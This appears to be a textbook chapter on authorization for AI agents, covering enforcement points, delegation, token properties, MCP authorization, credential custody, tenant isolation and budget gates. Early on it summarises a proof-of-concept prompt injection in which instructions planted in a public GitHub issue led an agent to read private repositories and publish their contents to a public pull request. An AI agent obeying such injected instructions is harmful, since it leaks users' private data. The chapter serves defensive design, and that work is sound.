Security and Authorization

An agent can propose an action; a trusted enforcement path decides whether that action may become an effect. This separation matters because authentication establishes claims about the caller, while authorization decides whether a specific subject may perform a specific action on a specific resource under the current context. A credential carries claims or grants; it is not the policy itself. Approval is an authorization input, and audit is evidence after the decision.

The distinction is especially important for agents. A prompt injection, an instruction hidden in untrusted content, can make an agent request an action that the user never intended. It cannot create authority that the enforcement point does not grant. Least privilege therefore limits possible damage, but it does not make the request legitimate: if reading a private repository and writing to a public one are both allowed, an injected instruction can still combine those permissions. Task integrity and authorization are complementary controls, not substitutes.

A proof of concept, not a universal law

In May 2025, Invariant Labs published a proof-of-concept against an agent using Claude Desktop, the official GitHub MCP server, and a personal access token (Milanta and Beurer-Kellner 2025). The researchers placed instructions in a malicious public issue. When the agent processed the issue, those instructions induced private-repository reads and then a write to a public pull request.

The attack preconditions are the important part. The user had connected repositories through one credential; the agent could read attacker-controlled issue content; its available tools could read private data and publish data; and the relevant tool calls were approved, either individually or through the client's persistent “always allow” choice. The demonstration did not establish a session-long token lifetime, a real victim, or a flaw in every MCP implementation. It showed that a permitted data path can cross a trust boundary when untrusted content influences a planner.

That result is not a universal property of MCP. MCP supplies a tool transport and, for some transports, an authorization profile. It does not determine a deployment's repository policy or prove that a requested tool action serves the user's intent. Defense in depth must address both: restrict reachable authority at the enforcement boundary, and constrain how untrusted data may influence control flow, as discussed for retrieval in Chapter 44 and for the harness in Chapter 41.

Define the decision before choosing the token

Let an authorization query be

$$\begin{aligned} q &= (s,a,r,c), \\ d &= P_v(q), \\ d &\in \{\mathrm{allow},\mathrm{deny},\mathrm{challenge}\}. \end{aligned}$$

Read the tuple as subject s, action a, resource r, context c, evaluated under policy revision v. The subject is the authenticated actor and delegation information; the action is the exact operation; the resource is the exact target; and the context contains trusted facts such as tenant, task, time, data classification, and budget state. The local platform outcome $d$ is allow, deny, or challenge. “Challenge” means that a new factor, such as exact human approval, is required before reevaluation. AuthZEN's standardized response is Boolean; a platform can represent challenge as deny plus typed step-up context or as a local extension (Gazitt et al. 2026). Unknown or missing inputs deny by default on consequential paths.

The subject is not a single opaque ID. Useful subject claims preserve:

• the user identity, if a live or earlier user grant exists;
• the agent or session revision that proposed the action;
• the workload identity of the executing process;
• the tenant binding and delegation chain; and
• the provenance of every authenticated claim.

These roles are not universally separate principals. A scheduled service may have no live user, one task may move across several workloads, and an agent revision may be an attribute rather than an identity in a particular system. A workload identity, including a SPIFFE SVID, authenticates software; it does not prove user intent or permission (SPIFFE Project 2026). A tenant value used by policy must come from an authenticated claim or authoritative resource lookup, not from an untrusted request header.

Effective authority is an intersection

Define every grant over the same universe of action-resource-context tuples. In words, the effective authority is what all five grants permit at once:

$$\begin{aligned} \mathcal{E}={}&\mathcal{G}_{\mathrm{user}} \cap\mathcal{G}_{\mathrm{agent}} \cap\mathcal{G}_{\mathrm{workload}} \\ &\cap\mathcal{G}_{\mathrm{resource}} \cap\mathcal{G}_{\mathrm{runtime}}. \end{aligned}$$

The user grant expresses delegated consent. The agent grant bounds the named agent or session. The workload grant says which running software may call. The resource policy applies ownership, sharing, and tenant rules. Runtime constraints include network destinations, approval state, rate and budget limits, and current risk signals. An intersection can only remove authority. In practice, the policy decision point computes the decision, while a policy enforcement point blocks or performs the effect (Rose et al. 2020). Authentication and token issuance supply trusted inputs; neither performs enforcement by itself.

This model also explains why a scope list is not the entire attack surface. Tool descriptions, parameter parsing, output dataflow, enabled operations, network reachability, redirects, and credential custody all affect what an attacker can reach.

From request to effect

Complete mediation means the platform must authorize every external effect, not merely the session or the first tool call. A reliable path is:

Canonicalization must happen before policy evaluation. Normalize the canonical action, canonical resource, destination, method, parameters, Unicode, defaults, units, and redirect policy, then hash every execution-relevant field. At time-of-use, the enforcement point recomputes that hash and requires an exact match with the decision. This closes the common time-of-check/time-of-use gap in which approval covers one target but execution uses another.

High-impact paths fail closed when identity, policy, approval, budget reservation, or audit intent is unavailable. A low-risk degraded path is defensible only when its operations and limits were enumerated before the outage. A generic bypass route quietly turns an availability feature into ambient authority.

Bind approval to the exact effect

Human approval should be risk-tiered, not requested for every harmless read. When required, a trusted surface shows the exact action, resource, and canonical parameters, including the destination and sensitive data movement. The approval carries a one-time challenge, request hash, nonce, provenance, and expiry. It expires; approval cannot be reused for changed arguments, a new redirect, or a later operation.

Human approval does not repair a misleading preview. If the agent writes the summary, hides a destination, or repeatedly asks until the user clicks, the ceremony provides little assurance. The independent enforcement path must render authoritative fields and reevaluate the final request, connecting authorization to the oversight limits in Chapter 55.

Delegation without authority growth

Delegated authority should not grow. A child grant should be a subset of the parent grant for only the inherited delegation. Formally, $\mathcal{G}_{child}\subseteq\mathcal{G}_{parent}$ is a necessary local invariant over the same action-resource-context universe. It is not sufficient: the child must also preserve audience, tenant, purpose, expiry, approval, and dataflow constraints, and several child grants must not reconstruct a broader union.

The service's independent authority is different and must not be forwarded as if the user delegated it. The audit chain should retain actor and subject so downstream services can distinguish delegation from impersonation. RFC 8693 supplies a token-exchange protocol and fields for subject and actor tokens, resources, audiences, and scopes; token exchange does not by itself preserve the user's policy, attenuate the result, revoke the input token, or propagate later revocation (Jones et al. 2020). Those are authorization-server and resource-server responsibilities.

Token properties are not interchangeable

A bearer token can be replayed by whoever obtains it. A sender-constrained token adds proof of possession, while an audience-restricted token limits where it should be accepted; OAuth security guidance recommends both where appropriate (Lodderstedt et al. 2025). RFC 8707's resource indicator identifies the target service, not the exact repository, tool, or action (Campbell et al. 2020).

Short expiry is useful, but does not provide immediate revocation. OAuth token introspection can expose current state, and a reference token can require an online lookup; a revocation list can invalidate a self-contained token. Caching adds a measurable stale window. RFC 7009 and RFC 7662 describe revocation and introspection, but related-token propagation remains deployment policy (Lodderstedt et al. 2013; Richer 2015). Test worst-instance revocation latency rather than assuming TTL is the answer.

Attenuable credentials can make restriction composable. Macaroons, for example, let holders add contextual caveats that verifiers check (Birgisson et al. 2014). They do not automatically produce a per-call token, choose the right caveats, or protect against malicious use that remains inside those caveats.

MCP authorization has a narrower job

Authorization is optional for MCP implementations. In the stable MCP authorization profile, an HTTP-based protected server acts as an OAuth resource server and publishes OAuth protected resource metadata; the client discovers authorization metadata and sends the RFC 8707 resource value for the canonical server URI (Model Context Protocol 2026). The server must validate that the token was intended for it. STDIO deployments use their environment's credential mechanism rather than this HTTP flow.

Audience validation prevents one class of token passthrough. It does not stop prompt injection, does not decide whether a tool action is appropriate, and does not distinguish two repositories behind the same MCP server unless application policy does so. The MCP server remains a policy enforcement point for tool name, canonical arguments, resource ownership, and current context.

Keep credentials out, then constrain their use

Reusable secrets should not appear in model context, generated code, logs, or a sandbox environment. A credential broker can give the executor an opaque handle and attach the real credential after authorization. For a static secret, a provider-aware egress proxy may inject it after TLS termination. Both patterns protect custody; neither proves that a permitted request is benign.

The proxy therefore needs a destination allowlist plus canonical method, path, operation, parameter, redirect, and DNS policy. A host restriction is not API-level authorization: an injected request to an allowed host can still delete data or publish secrets. Provider signing and challenge-response protocols require provider-aware handling rather than string replacement. TLS termination also creates a trust boundary: the proxy sees plaintext and clients must trust its certificate authority. The enforcement record should name that boundary without logging the static secret.

Tenant isolation is another enforcement layer

The tenant is part of the authenticated subject and resource, supplemented by an explicit ownership or sharing model for global and cross-tenant resources. A pooled database can enforce a row-level policy; namespaces or shards add namespace isolation; separate accounts or clusters add physical isolation. These are defense in depth. Physical isolation reduces the blast radius of some implementation errors, but does not replace authorization at control planes, shared gateways, backups, or routing layers.

Choose isolation per resource and consequence, not as one platform-wide slogan. Retrieval memory can deserve a stronger boundary than low-sensitivity telemetry. Every tier needs cross-tenant negative tests: forged tenant headers, mismatched resource ownership, shared-resource rules, background jobs, caches, exports, restore paths, and administrative operations. Partitioning makes some mistakes harder; it does not make policy unnecessary.

Budgets are authorization obligations

A warning after a provider charge is evidence, not enforcement. A hard budget gate authenticates the budget subject and atomically reserves a conservative upper bound before the call. For one budget period, require

$$S+R+E\le L,$$

where $S$ is settled usage, $R$ is outstanding reservations, $E$ is the proposed action's conservative upper-bound cost, and $L$ is the limit. All four quantities use the same subject, period, currency or unit. After execution, settle actual use and release the remainder. Parallel calls must contend on the same reservation state or each can independently pass the limit. This is the authorization consequence of the economic controls in Chapter 76.

The operating contract

The request, decision, enforcement attempt, and effect need linked but distinct records. A decision record is not proof that the external effect occurred. Conversely, an external response without the decision revision cannot explain why the effect was permitted.

A practical, versioned contract contains:

authorization_request_id
subject_claims_and_provenance
agent_model_tool_revisions
delegation_chain
action_resource_and_canonical_parameters
tenant_and_data_classification
policy_bundle_revision
decision_obligations_and_reason
approval_challenge_and_binding
credential_audience_scope_sender_and_expiry
enforcement_point_and_result
budget_reservation_and_reconciliation
effect_idempotency_key
revocation_and_failure_mode
audit_evidence_and_retention

Before a side effect, append a write-ahead intent outside the agent's write authority. It binds the request hash, decision, executor, reservation, credential handle, and idempotency key. After the attempt, append an effect receipt with status succeeded, failed, or unknown, provider transaction IDs, result hash, actual usage, and error class. unknown is essential when a timeout leaves external completion ambiguous. A receipt proves what this enforcement path recorded; it does not prove the model's natural-language rationale, deletion elsewhere, or absence of unlogged effects.

Verification should exercise denials, not only happy paths: cross-tenant access, forged attributes, modified post-approval arguments, replayed challenges, unapproved redirects, unavailable policy or audit, concurrent budget races, revocation latency, duplicated idempotency keys, and a compromised agent attempting to read a credential. Multi-agent delegation needs the same tests at every handoff (Chapter 43).

Further reading